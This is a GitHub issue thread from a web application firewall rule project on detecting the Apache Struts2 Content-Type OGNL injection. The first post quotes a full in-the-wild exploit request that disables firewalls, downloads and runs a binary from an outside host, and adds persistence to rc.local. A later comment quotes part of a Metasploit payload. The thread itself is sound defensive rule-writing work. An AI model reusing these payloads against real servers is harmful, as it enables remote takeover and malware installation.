Skip to content
This repository has been archived by the owner on May 14, 2020. It is now read-only.

Malicious Content-Type in Apache Struts2. #703

Closed
csanders-git opened this issue Mar 9, 2017 · 26 comments
Closed

Malicious Content-Type in Apache Struts2. #703

csanders-git opened this issue Mar 9, 2017 · 26 comments
Milestone

Comments

@csanders-git
Copy link
Contributor

http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html

This is an issue with the content-type. Obviously, 900220 (content-type allows) will block it. But no rule seemed to trigger for this request.

GET / HTTP/1.1
Cache-control: no-cache
Connection: Keep-Alive
Content-Type: %{(#nike='multipart/form-data').(#de=@ognl.0gnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensympohny.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service ip tables stop;SuSEfirewall2 stop;reSusefirewall2 stop;cd /tmp;weget -c http://www.tmp.com:2651/syn13576;chmod 777 syn1376;./syn13576;echo "cd /tmp/">>/etc/rc.local;echo "./syn13576&"">>/etc/rc.local;echo "/etc/init.d/iptables stop">>/etc/rc.local;'},(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('wine'))).(#cmds=(#iswin?{cmd'cmd.exe','/c',#cmd):{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: text/html, application/xhtml+xml, /
Accept-Encoding: gbk, GB2312
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

@dune73
Copy link
Contributor

dune73 commented Mar 9, 2017

Wow. What an attack. 920272 at PL3 triggers and 920274 at PL4. But I agree we should detect this at lower PLs as well.

Extend RCE to Content-Type header?

@csanders-git
Copy link
Contributor Author

yes, that's the idea...

@zmallen
Copy link
Contributor

zmallen commented Mar 10, 2017

@dune73 should RCE look at all headers, then?

@csanders-git
Copy link
Contributor Author

@zmallen we need to weigh false positives versus effectiveness. At PL1 we probably don't want to be so bold.

@zmallen
Copy link
Contributor

zmallen commented Mar 10, 2017

Will try to find some research to see if it hits anything else other-than-content-type, but this could be mitigated by:

  • Enable RCE for Content-Type header
  • Create test payloads via FTW
  • Observe results on paranoia levels

@csanders-git
Copy link
Contributor Author

csanders-git commented Mar 10, 2017

With the provided sample we see the following alerts triggered when i added request_headers:content-type to all the RCE rules in testing (PL1)

932100 - Matched Data: ;chmod found within REQUEST_HEADERS:Content-Type
932110 - Matched Data: ;echo found within REQUEST_HEADERS:Content-Type:
932160 - Matched Data: bin/bash found within REQUEST_HEADERS:Content-Type

@lifeforms any thoughts on this area, I don't think that adding request_headers:content-type should be too dangerous. However we do sometimes see things of the form 'text/html; charset=utf-8'
Currently the basic form doesn't seem to trigger anything

@dune73
Copy link
Contributor

dune73 commented Mar 10, 2017

I take it adding Content-Type to PL1 would be fairly safe. With other headers, there might be more FPs, namely the notorious UA, Referer and Cookie.

@csanders-git
Copy link
Contributor Author

@dune73 , would make a good blog post too :-P

@dune73
Copy link
Contributor

dune73 commented Mar 11, 2017

OMG, I have like 10 in the queue and can't find the time. ;(

@csanders-git
Copy link
Contributor Author

@dune73, I meant for the new CRS site not necessarily for you :-P

@dune73
Copy link
Contributor

dune73 commented Mar 11, 2017

Oh yes, absolutely.

@victorhora
Copy link
Contributor

Something worth mentioning for this particular case is that one of the Metasploit plugins doesn't seem to use known RCE payloads (Windows/Linux) to trigger 932100, 932110 or 932160 on PL1.
It actually tries to write a malicious file to the server and then executes it other than directly running shell commands.

Still if you add REQUEST_HEADERS:Content-Type to 933160 the rule triggers fine in PL1:

[id "933160"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: File(new java.lang.String('/tmp/YPdJ'))).(#ussy.setExecutable(true)).(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#ehqz.decodeBuffer('L2Jpbi9zaCAtYyAvdG1wL1lQZEo='))))

Which is interesting as this is obviously Java, but as one the keywords (exec?) matches with the rule it does the trick.

Maybe we could think about adding this as well @lifeforms and @csanders-git.

@dune73
Copy link
Contributor

dune73 commented Mar 15, 2017

Yes, out RCE rules (credit to @lifeforms) are very strong. But they need to be applied to the right payloads.

@csanders-git
Copy link
Contributor Author

The other more important thing is that content-type is not the only affected header.

@dune73
Copy link
Contributor

dune73 commented Mar 21, 2017

I am tagging this for 3.1 as I do not think we will fix it in the 3.0 release line.

Please comment if you disagree.

@victorhora
Copy link
Contributor

Looks good to me.

As a side note, looks like even the current public recommended base configuration of ModSecurity should automatically reject requests with invalid multipart quoting which seems to be the case for the current payloads in the wild which uses the Content-Disposition approach. So this should be easily blocked even on PL1.

@dune73
Copy link
Contributor

dune73 commented Apr 3, 2017

Thanks.

There is an issue with the quoting, though. There are a few languages that have a habit of using single quotes in filenames. This immediately results in a block in the base config. We excluded all these rules from the CRS and therefore got rid of this problem in our narrow context. But for the users, it's still a major nuisance.

@csanders-git
Copy link
Contributor Author

@dune73 I think i'm correct in assuming that this would violate the bugfix condition and should be shelved till 3.1? I have some other ideas anyway on topics like this :)

@dune73
Copy link
Contributor

dune73 commented Apr 4, 2017

Thinking of a "point release should not introduce new rules possibly generating FPs" was my thought when tagging for 3.1.

@spartantri
Copy link
Contributor

Header compliance could be a good candidate to add, most headers are check only for a few strings or presence but there is not check against RFC, invalid values or acceptable values and length, the payload at the beginning is huge adding a limit per header type could be a good start.

@csanders-git
Copy link
Contributor Author

We'd have to be careful headers like set-cookie can be really long

@ossie-git
Copy link

ossie-git commented Sep 7, 2017

For GET requests and Content-Type, instead of trying to detect it as RCE, we can do one of the following:

For #1, you can extract the list of valid MIME types by running the following one-liner:

wget "https://www.iana.org/assignments/media-types/media-types.xml" -O - | grep -i "type=\"template" | cut -d ">" -f 2 | cut -d "<" -f 1 > mime-types.txt

and then check for them. Block anything that is not on the list. The only problem with approach #1 is that the list of valid Content-Type headers is sometimes updated (this could be countered by running a cron job to update the mime-types.txt file + some sanity checks to make sure that the download was successful). In the case where you have something like this:

Content-Type: application/x-www-form-urlencoded; charset=utf-8

the first part (up to the ;) should at least match the MIME types list mentioned above

For #2, after looking at all current 1636 valid Content-Type headers, you can trigger an alert on any of these characters as they are never used (and taking into consideration that you can have more than one value so = and ; are acceptable):

$#()%}{@,:"[]?

Technically in the Extended BNF notation of RFC 822 (https://tools.ietf.org/html/rfc1341), the Content-Header may include:

tspecials := "(" / ")" / "<" / ">" / "@" ; Must be in
/ "," / ";" / ":" / "" / <"> ; quoted-string,
/ "/" / "[" / "]" / "?" / "." ; to use within
/ "=" ; parameter values

and some others but none of the ones I suggested to be blocked are currently being used (I checked them against the 1636 currently defined ones and there were no matches)

@spartantri
Copy link
Contributor

GET and HEAD requests with Content-Type are a bit into gray area because as noted in RFC 7231 (https://tools.ietf.org/html/rfc7231#section-4.3.1) the request body have no defined semantics and may be rejected and this header purpose is to define the media type into the body.

This is one of those cases that a vendor may choose to do weird stuff with the body in GET requests, accept and process, ignore or simply reject the request so based on the backend application behavior either a GET request with Content-Type can be rejected or as @ossie-git metions, the header content could be checked for bad characters and properly escaped especial characters and use the IANA types as whitelist to reduce false positives.

For other methods it makes sense to check Content-Type header for bad characters and properly escaped especial characters plus use the IANA types as whitelist to reduce false positives.

I'm thinking in something like:

SecRule REQUEST_METHOD "^GET$" "tx.crap_score=+%{tx.warning_anomaly_score},chain....
    SecRule &REQUEST_HEADERS:Content-Type "!@eq 0"
SecRule &REQUEST_HEADERS:Content-Type "@gt 1" "tx.crap_score=+%{tx.critical_anomaly_score}....
SecRule REQUEST_HEADERS:Content-Type "@pmf IANA_MIME-types.data" "ctl:ruleRemoveTargetById=900XXX;REQUEST_HEADERS:Content-Type....
SecRule REQUEST_HEADERS:Content-Type  BNFvalidation... "tx.crap_score=+%{tx.notice_anomaly_score}...

For cookies headers it will be a nightmare there are very ugly cookies out there that include lots of crap, code, tags, symbols, random data, and it could get very long but many other headers are pretty common a light validation can avoid issues.

Another complicated header that some sites use to generate contents is the user-agent.

We can start adding more checks and depending on PL make stricter siblings :)

@lifeforms
Copy link
Contributor

lifeforms commented Sep 19, 2017

For now I'll leave User-Agent and Cookies outside consideration and focus just on Content-Type.

My €0.02...

  • You would think that rule 920420 already restricts the Content-Type to a whitelist, but this restriction is not made in case of GET/HEAD/PROPFIND/OPTIONS requests, which is currently undocumented in crs-setup.conf. We should document this in crs-setup.conf and rule 920420's comments so that people do not unduly rely on the restriction.
  • I think adding REQUEST_HEADERS:Content_Type to the Unix/Windows RCE rules (932xxx) would be a good idea. These rules are not heavy on false positives.
  • I would also support adding a regexp on REQUEST_HEADERS:Content_Type. It seems we can limit safely to a format of bla/bla.bla-bla+bla (should match all in https://www.iana.org/assignments/media-types/media-types.xml) with optionally added \s*;\s* and afterwards only alphanumeric plus the minor subset of characters that is actually seen in production use, disallowing the 'weird' characters which are technically legal but as suggested by @ossie-git: "they are never used". This could be a 920xxx rule.
  • Maintaining a full whitelist of media types IMO does not add much more protection than just validating the Content-Type with a regexp, but it would add future maintenance overhead. Prefer not to do it.
  • What about blocking Content-Type headers which are very long? Many payloads use quite a lot of bytes. Why don't we try blocking Content-Type headers which are longer than, say, 100 characters? Or maybe even less? We would have to see in testing how this pans out, of course. This could be a 920xxx rule.

Most Content-Type headers that I find in logs are rather bland, so I am not expecting false positives, in my opinion this could all happen in PL1 for now. If the allowed characters and length limits turn out to be too restrictive for some fringe use cases, we can always loosen them gently in PL1 and restrict them in PL2.

@lifeforms lifeforms added this to the CRS v3.1.0 milestone Sep 19, 2017
@spartantri
Copy link
Contributor

@csanders-git, @lifeforms , This one is already addressed in #990, can we close it?

@lifeforms
Copy link
Contributor

This issue can be closed.

Thanks everybody!!!

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

7 participants